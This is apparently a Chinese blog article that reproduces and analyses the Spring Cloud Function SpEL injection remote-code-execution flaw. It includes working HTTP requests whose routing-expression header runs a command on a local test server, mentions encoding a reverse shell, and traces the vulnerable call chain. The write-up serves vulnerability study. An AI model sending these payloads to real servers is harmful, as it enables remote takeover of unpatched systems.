| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> Java知识库 -> Spring Cloud Function SpEL表达式RCE漏洞复现分析 -> 正文阅读 |
|
[Java知识库]Spring Cloud Function SpEL表达式RCE漏洞复现分析 |
简介Spring Cloud功能特点 影响版本3.0.0.M3 <= Spring Cloud Function <=3.2.2 漏洞复现环境搭建选择版本为V3.1.6 根据Tags的更新时间选择,还是选择3.1.6比较稳妥,使用IDEA导入项目 jar包的下载确实很慢,真是麻了。实际上不用下载那么多jar包,确实用不到,导入项目于
spring.cloud.function.definition:functionRouter 配置maven启动项目
利用 构造 POST /Ggoodstudy HTTP/1.1 Host: 127.0.0.1:8080 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe") Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 4 gdsf 这不就吐了么,修改配置文件才能RCE???? 但是修改路由,当路由指定为 POST /functionRouter HTTP/1.1 Host: 127.0.0.1:8080 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe") Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 14 dfdfijkghjkg POST请求且必须传参。 反弹shell
进行base64编码,由于这里我使用的是windows环境,所以无法使用反弹shell,具体需要对反弹shell命令进行编码的原因在分析 漏洞分析首先我们需要了解到spring框架中比较常见的几个jar包
向上查找利用链 SpEL表达式的内容是在 这里会取出 这个方法属于布尔型的判断,这里的属性构造在请求头内,调用了 继续向上分析 到达 是在646行定义的,且调用方法 继续向上查找,到了控制层了,到此为止我们的向上查找已经结束,利用链很强清晰,那么对不对呢,我们使用向下查找利用链来做验证,请看下文 向下查找利用链 控制层传入数据首先查找路由,在 调用 可以看到 此时我们可以看到这里调用了 而在该方法中会读取构造的请求头 那么我们在调试的过程中 getValue方法执行的又是什么呢?
到这里我们能够发现两条链刚好是对称的,说明分析没有问题。 总结分析了spring-cloud-function可以发现,spring框架的几个由SpEL表达式注入造成的RCE的触发点基本上都很相似,触发类以及触发路由分析对于漏洞挖掘来说都有可以借鉴的地方。 更多靶场实验练习、网安学习资料,请点击这里>> |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 0:26:45- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |